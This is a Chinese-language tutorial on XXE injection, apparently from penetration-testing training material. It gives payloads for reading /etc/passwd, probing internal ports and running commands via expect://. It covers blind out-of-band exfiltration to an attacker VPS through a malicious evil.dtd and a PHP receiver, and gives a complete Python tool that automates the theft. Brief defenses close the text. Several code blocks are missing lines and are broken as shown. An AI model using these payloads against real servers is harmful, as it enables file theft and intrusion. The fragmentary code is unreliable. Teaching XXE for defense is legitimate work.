XML是一種類似HTML的標記性語言,用來存儲標記數據、定義數據類型。和html不同的是,xml的根元素和子元素是允許用戶自定義的。
以下是一段簡單的XML代碼:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
運行結果如下:
DTD (Document Type Definition)文檔類型定義
作用:定義XML文檔的合法構建模塊,DTD可以在XML文檔內聲明,也可以在外部引用。
在DTD文檔中使用ENTITY關鍵字來聲明一個實體,格式如下:
通過&實體名稱;進行調用實體
如聲明實體b,b的內容為文檔規範:http: //xx.com/1.dtd
由於外部實體不僅僅支持http協議,還支持其他協議如file。
如果想要系統的學習XML語言可以參考:https://www.w3school.com.cn/xml/xml_intro.asp聲明 DT
XXE Injection (XML External Entity Injection,XML 外部實體注入攻擊)攻擊者可以通過 XML 的外部實體來獲取伺服器中本應被保護的數據。對於XXE漏洞最為關鍵的部分是DTD文檔類型,DTD 的作用是定義 XML 文檔的合法構建模塊。當允許引用外部實體時,通過惡意構造,可以導致任意文件讀取、執行系統命令、探測內網埠、攻擊內網網站等危害。DTD 可以在 XML 文檔內聲明,也可以外部引用;libxml 2.9.1及以後,默認不再解析外部實體。
對於XXE通常有兩種利用方式:有回顯XXE漏洞和無回顯XXE漏洞:
(1)有回顯XXE
攻擊者通過正常的回顯或報錯將外部實體中的內容讀取出來。file 協議讀取文件:
<?xml version="1.0" encoding="utf-8"?> //xml聲明
<!ENTITY file SYSTEM "file:///etc/passwd">
(2)無回顯XXE
伺服器沒有回顯,只能使用 Blind XXE 來構建一條帶外數據通道提取數據; Blind XXE 主要使用了 DTD 約束中的參數實體和內部定義實體。參數實體:一個只能在 DTD 中定義和使用的實體,一般引用時用 % 作為前綴; 內部定義實體:在一個實體中定義的一個實體,即嵌套定義:
<?xml version="1.0" encoding="utf-8"?> //xml聲明
<!ENTITY % a "<!ENTITY b 'http://www.xxx.com'>"
Blind XXE 採用嵌套形式建立帶外數據通道,利用參數實體將本地內容讀出來後,作為外部實體中的 URL 中的參數向其指定伺服器發起請求,然後在其指定伺服器的日誌(Apache 日誌)中讀出文件的內容(指定伺服器即攻擊者的伺服器);DTD 中使用 % 來定義的參數實體只能在外部子集中使用,或由外部文件定義參數實體,引用到 XML 文件的 DTD 來使用; 有些解釋器不允許在內層實體中使用外部連接,無論內層是一般實體還是參數實體,所以需要將嵌套的實體聲明放在外部文件中。
3.1 有回顯的XXE漏洞利用實驗環境可以使用:xxe-labs:c0ny1/xxe-lab: 一個包含php,java,python,C#等各種語言版本的XXE漏洞Demo (github.com),也可以使用vulhub中集成的xxe測試環境。
方式一:通過引用外部實體
(1)任意文件讀取
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
(2)內網埠探測
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY xxe SYSTEM "http://192.168.0.102:80">]>
<user><username>&xxe;</username><password>admin</password></user>
當訪問存在的22埠時:
當訪問不存在的1433埠時:
也可以通過burpsuite對開放埠進行枚舉。
(3)遠程命令執行
有些情況下攻擊者能夠通過XXE執行代碼,這主要是由於配置不當/開發內部應用導致的。當PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程式上,那麼就可以執行命令:
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY xxe SYSTEM 「expect://id" >]>
</username><password>admin</password></user>
運行結果:
{「error」: 「no results for description uid=0(root) gid=0(root) groups=0(root)…
方式二:通過使用外部參數實體
(1)任意文件讀取
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % d SYSTEM "http://192.168.0.102/xxe/evil.dtd" >
在遠程的VPS伺服器的網站根目錄創建evil.dtd文件,文件內容如下:
<!ENTITY b SYSTEM "file:///etc/passwd">
運行結果如下:
3.2 無回顯的XXE漏洞利用(1)任意文件讀取
方式一:
將以下xxe.xml保存到vps的伺服器下
"<!ENTITY % send SYSTEM 'http://192.168.0.102/%file;'>" %all;
運行如下代碼:
<!ENTITY % remote SYSTEM "http://192.168.0.102/xxe/xxe.xml">
<!ENTITY % file SYSTEM "file:///etc/passwd">
運行結果如下:
可以發現結果被當作錯誤信息進行返回。
方式二:
在遠程vps上創建一個接收數據的文件的php(get.php),代碼如下:
$content = base64_decode($_GET['file']);
file_put_contents($file , $content);
然後再創建一個evil.dtd文件,代碼如下:
"<!ENTITY % send SYSTEM 'http://192.168.0.102/xxe/get.php?file=%file;'>"
運行如下代碼:
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM "http://192.168.0.102/xxe/evil.dtd">
打開vps下的test.txt,可以查看到運行結果。
Python運行環境為:Python3.7
腳本編寫思路如下:
1)首先設置編碼格式,導入需要使用到的庫。
from http.server import HTTPServer, SimpleHTTPRequestHandler
2)通過http.server開啟一個http伺服器,用來監聽目標伺服器返回的數據,代碼如下。)
def StartHTTPServer(listenIp, listenPort):
serverAddr = (listenIp, listenPort)
httpd = HTTPServer(serverAddr, MyHandler)
"[*] 正在開啟HTTP伺服器:\n===================\nIP位址:{0}\n監聽埠:{1}\n===================\n".format(listenIp, listenPort))
3)根據源碼重寫日誌函數,將訪問日誌輸出到終端上,源碼如下。
修改後的代碼如下:
def log_message(self, format, *args):
sys.stderr.write("%s - - [%s] %s\n" %
self.log_date_time_string(),
textFile = open("result.txt", "a")
textFile.write("%s - - [%s] %s\n" %
self.log_date_time_string(),
這段代碼的作用會將IP位址和訪問日誌信息輸出到終端中,並將結果i保存在當前目錄下的result.txt中。
4)然後編寫攻擊Pyload的生成函數,根據給定的IP和埠生成包含而已DTD的XML文件。
def ExploitPayload(listenIp, listenPort):
file = open('evil.xml', 'w')
"<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(listenIp,
print("[*] Payload文件創建成功!")
5)通過POST方法項目標伺服器發送攻擊數據,代碼如下:
def SendData(listenIp, listenPort, targetUrl):
filePath = filePath.replace('\\', "/")
data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(
filePath, listenIp, listenPort)
requests.post(targetUrl, data=data)
filePath = input("請輸入你要查找的文件路徑:")
6)編寫主函數,進行相關變量的定義以及一些函數的調用
if __name__ == '__main__':
listenIp = "192.168.0.102"
targetUrl = "http://192.168.0.109:8080/dom.php"
ExploitPayload(listenIp, listenPort)
threadHTTP = threading.Thread(target=StartHTTPServer, args=(listenIp, listenPort))
threadPOST = threading.Thread(target=SendData, args=(listenIp, listenPort, targetUrl))
完整代碼如下:
from http.server import HTTPServer, SimpleHTTPRequestHandler
# 對原生的log_message函數進行重寫,在輸出結果的同時把結果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
sys.stderr.write("%s - - [%s] %s\n" %
self.log_date_time_string(),
textFile = open("result.txt", "a")
textFile.write("%s - - [%s] %s\n" %
self.log_date_time_string(),
def ExploitPayload(listenIp, listenPort):
file = open('evil.xml', 'w')
"<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(listenIp,
print("[*] Payload文件創建成功!")
def StartHTTPServer(listenIp, listenPort):
serverAddr = (listenIp, listenPort)
httpd = HTTPServer(serverAddr, MyHandler)
print("[*] 正在開啟HTTP伺服器:\n===================\nIP位址:{0}\n監聽埠:{1}\n===================\n".format(listenIp, listenPort))
def SendData(listenIp, listenPort, targetUrl):
filePath = filePath.replace('\\', "/")
data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(
filePath, listenIp, listenPort)
requests.post(targetUrl, data=data)
filePath = input("請輸入你要查找的文件路徑:")
if __name__ == '__main__':
listenIp = "192.168.0.102"
targetUrl = "http://192.168.0.109:8080/dom.php"
ExploitPayload(listenIp, listenPort)
threadHTTP = threading.Thread(target=StartHTTPServer, args=(listenIp, listenPort))
threadPOST = threading.Thread(target=SendData, args=(listenIp, listenPort, targetUrl))
運行結果:
可以看到結果成功在日誌中返回。
將結果放入Burpsuite中進行base64解碼,可以看到/etc/passwd中的密碼成功回顯。
2.5 XXE的防禦方案一、使用開發語言提供的禁用外部實體的方法
libxml_disable_entity_loader(true);
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、過濾用戶提交的XML數據
關鍵詞如下:
<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
方案三、預定義字符轉義:
1、《Python安全攻防滲透測試實戰指南》
2、https://www.w3school.com.cn/dtd/index.asp